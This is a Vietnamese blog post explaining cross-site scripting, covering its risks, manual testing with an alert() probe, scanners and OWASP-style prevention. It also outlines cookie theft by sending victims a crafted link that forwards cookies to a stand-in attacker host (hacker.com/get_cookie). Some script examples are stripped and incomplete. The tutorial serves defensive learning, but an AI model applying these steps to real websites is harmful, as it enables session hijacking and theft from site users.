Published on
13th March, 2015
by Thanh
1.XSS là gì?
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những nạn nhân sử dụng.
2.Lỗi xảy ra như thế nào
Lỗi này xảy ra khi ứng dụng web thu nhận các dữ liệu nguy hiểm được nhập từ hacker. Một website thường chứa các link, thông qua các link này hacker có thể chèn các đoạn code vào và khi người dùng nào đó sử dụng link này thì coi như 99% là chết, hacker có thể thông qua lỗi này để chèn code vào site hay link để lấy các thông tin quan trọng từ nạn nhân
Phụ thuộc vào mục đích của hacker, những đoạn Javascript được chèn vào để lấy những thông tin như:
-
Cookie: hacker có thể lấy được cookie của người dùng và dùng những
thông tin trong cookie để giả mạo phiên truy cập hoặc lấy những thông
tin nhạy cảm khác được lưu trong cookie.
-
Keylogging: hacker có thể ghi lại những thao tác gõ phím của người
dùng bằng cách sử dụng sự kiện trong Javascript và gửi tất cả những thao
tác gõ phím đó về cho hắn để thực hiện những mục đích như đánh cắp các
thông tin nhạy cảm, lấy mật khẩu truy cập website hoặc mã số thẻ tín
dụng...
- Phishing: hacker có thể thay đổi giao diện của website bằng cách thay đổi cấu trúc HTML trong trang web để đánh lừa người dùng. Hacker có thể tạo ra những form đăng nhập giả nhằm lừa người dùng đăng nhập vào để đánh cắp mật khẩu.
Hầu hết các ứng dụng web hiện nay dùng cookie để kết hợp 1 tài khoản duy nhất cho 1 người dùng nào đó , nghĩa là cookie của người nào người đó dùng . Các webmail , web bán hàng , nhà băng , ... đa số đều dùng cookie với mục đích chứng thực ngừơi dùng , và đây là cái mà hacker cần .
3.XSS hoạt động như thế nào?
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là http://www.example.com/search.cgi?query=. Và rất có thể trình duyệt của bạn sẽ hiện lên một popup thông báo "Website đang bị lỗi XSS!".
Ví dụ website bị lỗi XSS
Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn
có thể thay thế bằng một file nguồn trên một server khác thông qua
thuộc tính src của thẻ script. Cũng chính vì lẽ đó mà chúng ta chưa thể
lường hết được độ nguy hiểm của các lỗi XSS.Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.
Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ..
4.Kiểm tra lỗi XSS
Bước 1: Mở website cần kiểm tra
Bước 2: Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ). Ví dụ nhập text: "Test thôi hị hị KCRD".
Bước 3: Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về. Ví dụ bạn thấy thế này:
"Your search for 'Test thôi hị hị KCRD' did not find any items" "Your search for 'Test thôi hị hị KCRD' returned the following results" "User 'Test thôi hị hị KCRD' is not valid" "Invalid login 'Test thôi hị hị KCRD'" hoặc là cái gì đó mà có dính tới chữ "Test thôi hị hị hị KCRD" mà bạn nhập vào ban đầu thì 99% trang này bị lỗi XSS.
Website có khả năng cao bị lỗi XSS
Bước 4: Chèn code thực sự vào nơi bị lỗi. Bạn có thể chèn:&{alert('Test thôi hị hị KCRD')}; vào ô tìm kiếm và nhấn "Search". Nếu sau đó bạn nhận được 1 popup có chữ "Test thôi hị hị KCRD" thì trang web này đã bị dính lỗi XSS.
Xác định website bị lỗi XSS sau khi javascript hoạt động và show popup
Nhưng thỉnh thoảng vẫn có trường hợp website đó bị dính lỗi XSS nhưng
vẫn không xuất hiện cái popup thì buộc lòng bạn phải view sources để
xem. Khi view source kiểm tra dòng , nếu có thì có nghĩa là website dính lỗi XSS.Sau đây là các bước cơ bản cho việc đánh cắp cookie.
-
Tạo 1 file nhận cookie từ phía client và post lên host của hacker. File có thể access thông qua link: http://hacker.com/get_cookie
- Gửi cho nạn nhân 1 link có dạng: http://search.com?query=> Như vậy ngay sau khi user click vào đường link trên, cookie sẽ được tự động gửi đến trang http://hacker.com/get_cookie, và như vậy, cookie của user sẽ bị đánh cắp.
Trường hợp user đã bị đánh cắp cookie
5.Phát hiện XSS bằng cách nào?Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó. Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows.
6.Ngăn ngừa XSS như thế nào?
Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên:
- Chỉ chấp nhận những dữ liệu hợp lệ.
- Từ chối nhận các dữ liệu hỏng.
- Liên tục kiểm tra và thanh lọc dữ liệu.
Phòng ngừa XSS bằng cách mã hóa các ký tự đặc biệt
7.Nhìn nhận về XSS dưới quan điểm của 1 testerNếu như coder sẽ phải tìm hiểu để phòng trống XSS bằng cách sửa chính những dòng code của mình, thì tester cần làm sao để "thấy" được càng nhiều lỗi XSS càng tốt. Hay nói cách khác là phát hiện tất cả các lỗi XSS có thể của hệ thống. Để làm được việc này, các test case cần được cập nhật thêm những case cho XSS. Đảm bảo rằng trên mọi màn hình của hệ thống, script mà user nhập vào không được chạy cũng là 1 dấu hiệu tốt đảm bảo hệ thống không mắc lỗi XSS.
Tài liệu tham khảo
Các kiểu khai thác XSS – Phần 1: Reflected XSS http://securitydaily.net/ky-thuat-khai-thac-xss-phan-1-reflected-xss/ Cross Site Scripting - XSS là gì? http://passionery.blogspot.com/2014/05/cross-site-scripting-xss-la-gi.html#.VJJ8OyusVly TÌM HIỂU LỖ HỔNG CROSS-SITE SCRIPTING (XSS) http://tek.eten.vn/tim-hieu-cross-site-scriptingxss KỸ THUẬT TẤN CÔNG VÀ CÁCH PHÒNG CHỐNG LỖI XSS TRÊN WEBSITE http://me.zing.vn/zb/dt/love_cute61/17414418?from=sortfull
0 nhận xét:
Đăng nhận xét